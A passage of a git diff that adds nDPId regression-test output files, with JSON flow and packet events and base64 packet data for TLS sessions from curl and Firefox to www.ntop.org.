7qDIouhn\/mb\/ZISHF6mBR\/IXvmgdDxCQjDF0pzdpHGlijQnscX9IYmuALydf\/N95pDI1Ksot3SwlV+ToeoAcOu03ffeX9ZWtpGReoSSLBreVK2S9eOKb7ts0O5zIIo7KsqQiv\/vBgScz8WXOWpxQ\/yJVR5ay52w6EYcainLIU7Xbc\/tjzrhulig3U\/8LJroIUx7FTN+1M\/XXQgxU1xPwXfZVd2BCyLjPf3LnCxXwnRvsKpAN+jMhuodhLSF7CgHqc20YiiLhRoKoX9HTNFjjp4NCVuyybqoR14grCEsHZOU2qhA+8BZe5VlL7unSunUXcr1PeN9gM5Jq4MVqPdpyzDhvJpSxU3Hx+L1u56H6J0VrRo\/R6fO225uB9ZADFU\/E9+rLvS3XjVihQI4Xj3oV8Yz2DHOUB7myCSIfri88nrYevcoAQbwAgIH3ZuvMVV+F7spgWZOgjijLQs9AFYfhIg77XK7GhiJW4kT1GNIqN\/59u+gIdPmDuGurVucPbruilLRCDIsr+53Us+irmCwo\/E2YPbk4a0f3NX0k+rNo92g1D9wTfG3QFRXLoBVDcr2q9BeW0PVJsavNUQM+jFbQkjfp93AvyPnmEBcWXIT002jYiClr1Y1\/emkCZ90t5YN1lLX5fUvWWgwvQ8NqFZ2zWMZciPkbKDA3g3Y+AskVzW3FFBLqR77\/aXs+9FwMDBSQUQnjU3ptBoEOyx5s5g6C1C+gxkfWLgzLDV66R77tBk395nAfOwKbaxf02lWN9Kl7ER9qk1HP5doNJPo83hbomHGy3aIU4qtqfnGI\/DWje6wuZoh6zDMTlo3NI6IL\/slMBsWm6kBIHkYOp"} diff --git a/test/results/443-curl.pcap.out b/test/results/443-curl.pcap.out new file mode 100644 index 000000000..06761cfe7 --- /dev/null +++ b/test/results/443-curl.pcap.out @@ -0,0 +1,19 @@ +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"443-curl.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1581113120474,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"178.62.197.130","src_port":55523,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":474299,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGAULAqAENsj7FgtjjAbvMd3aVAAAAALAC\/\/97wQAAAgQFtAEDAwUBAQgKHmJFtwAAAAAEAgAA"} +00436{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":512991,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADQGDUayPsWCwKgBDQG72OOPktF9zHd2lqAS\/oj9JgAAAgQFrAQCCAolaAqTHmJFtwEDAwc="} +00423{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":513098,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7FgtjjAbvMd3aWj5LRfoAQECwaIgAAAQEICh5iRd0laAqT"} +01121{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":522725,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI5AABAAEAG\/0jAqAENsj7FgtjjAbvMd3aWj5LRfoAYECzDZwAAAQEICh5iReYlaAqTFgMBAgABAAH8AwM+OEHtzCD20OX3Fnq37pGoAMjvcMLWJMfHlDokAm2fvAAAhswUzBPMFcAwwCzAKMAkwBTACgCjAJ8AawBqADkAOP+FAMQAwwCIAIcAgcAywC7AKsAmwA\/ABQCdAD0ANQDAAITAL8ArwCfAI8ATwAkAogCeAGcAQAAzADIAvgC9AEUARMAxwC3AKcAlwA7ABACcADwALwC6AEHAEsAIABYAE8ANwAMACgD\/AQABTQAAABEADwAADHd3dy5udG9wLm9yZwALAAQDAAECAAoAOgA4AA4ADQAZABwACwAMABsAGAAJAAoAGgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABEADQAmACQGAQYCBgPv7wUBBQIFAwQBBAIEA+7u7e0DAQMCAwMCAQICAgMzdAAAABAADgAMAmgyCGh0dHAvMS4xABUArgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00720{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"443-curl.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1581113120474,"flow_last_seen":1581113120522,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"178.62.197.130","src_port":55523,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"2a26b1a62e40d25d4de3babc9d532f30","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00423{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":560634,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0W75AADQGsY+yPsWCwKgBDQG72OOPktF+zHd4m4AQAfomFwAAAQEICiVoCsIeYkXm"} +02365{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":563403,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUW79AADQGq+6yPsWCwKgBDQG72OOPktF+zHd4m4AQAfrtUgAAAQEICiVoCsUeYkXmFgMDAGYCAABiAwOPct0uNdz13fOK5124VdFhC02zKTfLIM0xh+7BIFf7JSDqj80dqPhjW9XfKkW2A3ZN18+1+CZm\/3f9R2Nb+ajwy8AvAAAa\/wEAAQAAAAAAAAsABAMAAQIAEAAFAAMCaDIWAwMJ+AsACfQACfEABVUwggVRMIIEOaADAgECAhIDxW9mNu2nL39MVmX6BV2TMlUwDQYJKoZIhvcNAQELBQAwSjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUxldCdzIEVuY3J5cHQxIzAhBgNVBAMTGkxldCdzIEVuY3J5cHQgQXV0aG9yaXR5IFgzMB4XDTE5MTIxNzAxMTcyOFoXDTIwMDMxNjAxMTcyOFowFzEVMBMGA1UEAxMMd3d3Lm50b3Aub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnSHDQayg1hZirIX4Lqo3WG5KpMHniFi3Mrw70HcZqirZW5NUs9muyeR2daOyJjrsrcxe5XeHEXf5ru6+lYjXKiJUopGwLGWi1MuiA9gxWWZLWVeWEttxEmwTTqWlShR8ip32eF1LWpw+F0\/c7QNC2bLlmcSkK9oUS8lWxZizXhwgMReDaqPRYDEvhZYtdfWcfkpSDtRToDgE82uKrDur4Q1u38uBJsp\/Zuk427G+2bOLN0pIsECXklgqQWZhVqEqvoDVHDRIwlzyNKwbt7R+GffgX5sp5gUkbyOPc++GR+fOVL7\/MuzNWp2Ur2zThN4UF6enMUdFCrd\/aCFa8DDGwQIDAQABo4ICYjCCAl4wDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRmdzmXZiclqr7hh6e7K5a4h\/CR1zAfBgNVHSMEGDAWgBSoSmpjBH3duubRObemRWXv86jsoTBvBggrBgEFBQcBAQRjMGEwLgYIKwYBBQUHMAGGImh0dHA6Ly9vY3NwLmludC14My5sZXRzZW5jcnlwdC5vcmcwLwYIKwYBBQUHMAKGI2h0dHA6Ly9jZXJ0LmludC14My5sZXRzZW5jcnlwdC5vcmcvMBcGA1UdEQQQMA6CDHd3dy5udG9wLm9yZzBMBgNVHSAERTBDMAgGBmeBDAECATA3BgsrBgEEAYLfEwEBATAoMCYGCCsGAQUFBwIBFhpodHRwOi8vY3BzLmxldHNlbmNyeXB0Lm9yZzCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AF6nc\/nfVsDntTZIfdBJ4DJ6kZoMhKESEoQYdZaBcUVYAAABbxGlYBAAAAQDAEgwRgIhAIRceob4hnAbM9rJbnEpY+A50PHaV61rmP\/FPogwHJlnAiEAiK3s5Ni+tJcif2KrozzCA+H4Z5wsGO\/rP7mWl\/8vPTAAdgAHt1wb5X1o\/\/Gwxh0jFce65ld8V5S3au68YToaadOiHAAAAW8RpWAtAAAEAwBHMEUCIDAoXUAacoihoRLZX4xqZwCvTg3tPgFpCX2S7ZjjFV7RAiEAqJN+En3T+\/ydrTEr5TNFIftUI+4vvVlbwZiJasTYVG4wDQYJKoZIhvcNAQELBQADggEBABf660IO1+locKETiuPkBudrM2Gg2CMTwawmZ8YWY0H7ZucmeZKLjBIr10rhc\/xXzyKNPlklujVS4QNzb64syqShdO9NKJYTs3waFZTL7ydLvW0D4fczI3O+vPDZhwZpLmn+nqS+eWOoIfOLT7ybQqmBmqXgIBoyBlCSHhlepcZ1ZAlhZDuOaxVjHsL7TTVJqXPX6Mzg7LSS4E55KIz9jb1FBPqySSarb6F20U4aoE8vYu+DsC17ZWHL2SZkzmRlaFwVC2przQWki8GfGb0+3wBv"} +00776{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"443-curl.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1581113120474,"flow_last_seen":1581113120563,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"178.62.197.130","src_port":55523,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"2a26b1a62e40d25d4de3babc9d532f30","ja3s":"ae53107a2e47ea20c72ac44821a728bf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02369{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":564527,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUW8BAADQGq+2yPsWCwKgBDQG72OOPktcezHd4m4AQAfouagAAAQEICiVoCsUeYkXm2KRVjbq6lkVyOTkZXPr2pwfJk+y1sTzGxZXL7xzYeRBPsI+K1ABFuSfd4k+8lP4ABJYwggSSMIIDeqADAgECAhAKAUFCAAABU4VzaguF7KcIMA0GCSqGSIb3DQEBCwUAMD8xJDAiBgNVBAoTG0RpZ2l0YWwgU2lnbmF0dXJlIFRydXN0IENvLjEXMBUGA1UEAxMORFNUIFJvb3QgQ0EgWDMwHhcNMTYwMzE3MTY0MDQ2WhcNMjEwMzE3MTY0MDQ2WjBKMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3MgRW5jcnlwdDEjMCEGA1UEAxMaTGV0J3MgRW5jcnlwdCBBdXRob3JpdHkgWDMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCc0wzwWuUuR7dyXTeDs2hjMOrXNSYZJeG9vjXxcJIvt7hLQQWrqZ41CFjssSrEaIcLo+N15Obzp2JxunmBYB\/XkZqf89B4Z3HIaQ6Vkc\/+5pnpYDxIzH7KTXcSJJ1HG1rrueweNwAcnKx7pwXqzkrrvUHlNpi5y\/1tPJZo3yMqQpAMhnRnyH+lmrhSYRQTP2XpgofL2\/oOVvaGifOFP5eGr7DcGu9rDZUWfcQroGWymQQ2dYBrrErzG5BJeC+ilk8qICUpBMZ0wNAxzY8xOJUWuqgzuEPxsR\/DMH+ieTETPS02+OP88jNquTkxxa\/EjQ0dZBYzqvqEKbbUC8DYfcOTAgMBAAGjggF9MIIBeTASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjB\/BggrBgEFBQcBAQRzMHEwMgYIKwYBBQUHMAGGJmh0dHA6Ly9pc3JnLnRydXN0aWQub2NzcC5pZGVudHJ1c3QuY29tMDsGCCsGAQUFBzAChi9odHRwOi8vYXBwcy5pZGVudHJ1c3QuY29tL3Jvb3RzL2RzdHJvb3RjYXgzLnA3YzAfBgNVHSMEGDAWgBTEp7Gkeyxx+tvhS5B1\/8QVYIWJEDBUBgNVHSAETTBLMAgGBmeBDAECATA\/BgsrBgEEAYLfEwEBATAwMC4GCCsGAQUFBwIBFiJodHRwOi8vY3BzLnJvb3QteDEubGV0c2VuY3J5cHQub3JnMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9jcmwuaWRlbnRydXN0LmNvbS9EU1RST09UQ0FYM0NSTC5jcmwwHQYDVR0OBBYEFKhKamMEfd265tE5t6ZFZe\/zqOyhMA0GCSqGSIb3DQEBCwUAA4IBAQDdM9cR82NYON0YFfsJVb52VrlwSKVpRyd7wiQIkvFaH0oSKTckdFEcYmi4zZVwZ+X3pLxOKFHNm+iuh53q2LpaoQGa3PDdah1q2D5XI56mHgRimv\/XBcq3Hz\/ACki8lLC2ZWLgwVTloyqtIMTp5rvcyPa1wzKjmMx3qOZ5ZQcryyj+OhZSgc5SDC5fg+jVBjP7d2zOQOoynh+SXEHBdGxbXQpfM8xNn6w48C97LGKd2aORbyUbL5CxGUY99n4bpnqHuaN6bRj6JaWRhxXg8hYvWLAGLyxoJsZLmM3anwz5f5DtQ0oSRE5vc3oo6qSqbntMfYfd4MkCRKeHr8M0W7RCFgMDAU0MAAFJAwAXQQTIuLmC\/KhAtEjXNePRjR3Z8z13PY2gP\/N2rl87G0XX6wcA\/FkX8ADlRdEmktl0DAuY2fj25Fk6Uj7vZcWm8XWIBAEBAE9krhh36h5ca3LOrq6uUPo9avm5L4w3HTam31\/Ta1mfoMEhi0CisSJeWJAWHx3wcjakDfVuiOAWa8XabgEfyEMvWdlEoC9hfWZnVSx3l5+WAVKua\/qJho4H3jhUN0bYoCTlgLICK+VGTDi6oQH9onrHbFPE+\/fnsBHERYLhgc6BRfwhwrNP"} +00977{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":7,"source":"443-curl.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":7,"flow_first_seen":1581113120474,"flow_last_seen":1581113120564,"flow_tot_l4_data_len":3641,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"178.62.197.130","src_port":55523,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","server_names":"www.ntop.org","ja3":"2a26b1a62e40d25d4de3babc9d532f30","ja3s":"ae53107a2e47ea20c72ac44821a728bf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3","issuerDN":"CN=www.ntop.org","alpn":"h2,http\/1.1","fingerprint":"DB:A7:E4:3E:6D:BB:21:AB:68:47:35:E8:0B:8F:15:DF:DB:C7:C9:6F"}} +00608{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":564529,"pkt_caplen":197,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":197,"pkt_l4_len":163,"pkt":"KDc3AG3IEBMx8Tl2CABFAAC3W8FAADQGsQmyPsWCwKgBDQG72OOPkty+zHd4m4AYAfoN\/QAAAQEICiVoCsUeYkXm66hTzubMWB08s3PkhsL9JqVuuKtC6Q0mFf6B4oBc2\/U2+ighQD73s0KYSsAN2q7FfukeSK4MeIkwGkFip7nL2Anu6BP4tpM5odv8A\/wsfYjJUcVxbpTPS64h+NrbHwJhGR\/RS8rkqGW5ZFY\/2ZG4woWm+3h\/FLx5bRoWAwMABA4AAAA="} +00423{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":564599,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7FgtjjAbvMd3ibj5LcvoAQD9MM0gAAAQEICh5iRg8laArF"} +00426{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":564603,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7FgtjjAbvMd3ibj5LdQYAQD\/UMLQAAAQEICh5iRg8laArF"} +00598{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":576400,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAGANDAqAENsj7FgtjjAbvMd3ibj5LdQYAYEACPEgAAAQEICh5iRhklaArFFgMDAEYQAABCQQT+KIc7MBKpZ7zIa+m1bbHmjqY\/q1Qfkj30dm23ddmaXNBG8gN+KVoxD+RuEZqrG9ogTyWCLwq3vxQ0zT\/Fs1vIFAMDAAEBFgMDACgAAAAAAAAAAJM7zl3sL1ILhaC2FA+qKASskkfK8Gvrjq8JWcoozRaM"} +00496{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":615429,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnW8JAADQGsViyPsWCwKgBDQG72OOPkt1BzHd5GYAYAfoYRwAAAQEICiVoCvkeYkYZFAMDAAEBFgMDACis\/COuKf6QzAgAtIeqLtjlOZbPjNzAuR7xUwUh0WW7WqxG5LnSiJHU"} +00505{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":615460,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"KDc3AG3IEBMx8Tl2CABFAABtW8NAADQGsVGyPsWCwKgBDQG72OOPkt10zHd5GYAYAfp7mQAAAQEICiVoCvkeYkYZFwMDADSs\/COuKf6QzbZuwm5bQ+t1xaNk5sTWeJideDy\/mEPzRPt1g1pEejHD9dWUd1PFn4IWabl7"} +00426{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":615532,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7FgtjjAbvMd3kZj5LddIAQD\/4LDwAAAQEICh5iRj8laAr5"} +00426{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"443-curl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113120,"pkt_ts_usec":615535,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7FgtjjAbvMd3kZj5LdrYAQD\/wK2AAAAQEICh5iRj8laAr5"} diff --git a/test/results/443-firefox.pcap.out b/test/results/443-firefox.pcap.out new file mode 100644 index 000000000..082c615f4 --- /dev/null +++ b/test/results/443-firefox.pcap.out @@ -0,0 +1,19 @@ +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"443-firefox.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1581109488041,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"178.62.197.130","src_port":53096,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":41083,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGAULAqAENsj7Fgs9oAbstYO2oAAAAALAC\/\/8dyQAAAgQFtAEDAwUBAQgKHivVZQAAAAAEAgAA"} +00438{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":79587,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADQGDUayPsWCwKgBDQG7z2h4KhDzLWDtqaAS\/ojkXQAAAgQFrAQCCAolMJ2OHivVZQEDAwc="} +00425{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":79695,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7Fgs9oAbstYO2peCoQ9IAQECwBWgAAAQEICh4r1YolMJ2O"} +01129{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":81517,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI5AABAAEAG\/0jAqAENsj7Fgs9oAbstYO2peCoQ9IAYECxBgwAAAQEICh4r1YslMJ2OFgMBAgABAAH8AwOUa\/El1SC4SOV9CcN1r6cpW+siDNFHDg6B0Jx3puu2HCDuWUpvRGQcZEnGz5IHtl2G4czu+ssSIC6vfxuSOCPZ9QAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAMwA5AC8ANQAKAQABjwAAABEADwAADHd3dy5udG9wLm9yZwAXAAD\/AQABAAAKAA4ADAAdABcAGAAZAQABAQALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAAMwBrAGkAHQAgEe3v4+aZzjqvjKifwJvnUyAU75U99AdjBg2UClguoEsAFwBBBNOOVnM3\/ljW1RxVAgKlkC5JeOU5cpLYYiMFaZX\/Y\/IlsD8SBGEv68Zc7h4OxYI4cIk\/\/nVqycuiWb+\/FGG07XMAKwAJCAMEAwMDAgMBAA0AGAAWBAMFAwYDCAQIBQgGBAEFAQYBAgMCAQAtAAIBAQAcAAJAAQAVAJIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00780{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"443-firefox.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1581109488041,"flow_last_seen":1581109488081,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"178.62.197.130","src_port":53096,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"f6ce47303dce394049af395fc6d0bc20","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00426{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":119593,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0HdRAADQG73myPsWCwKgBDQG7z2h4KhD0LWDvroAQAfoNXQAAAQEICiUwnbceK9WL"} 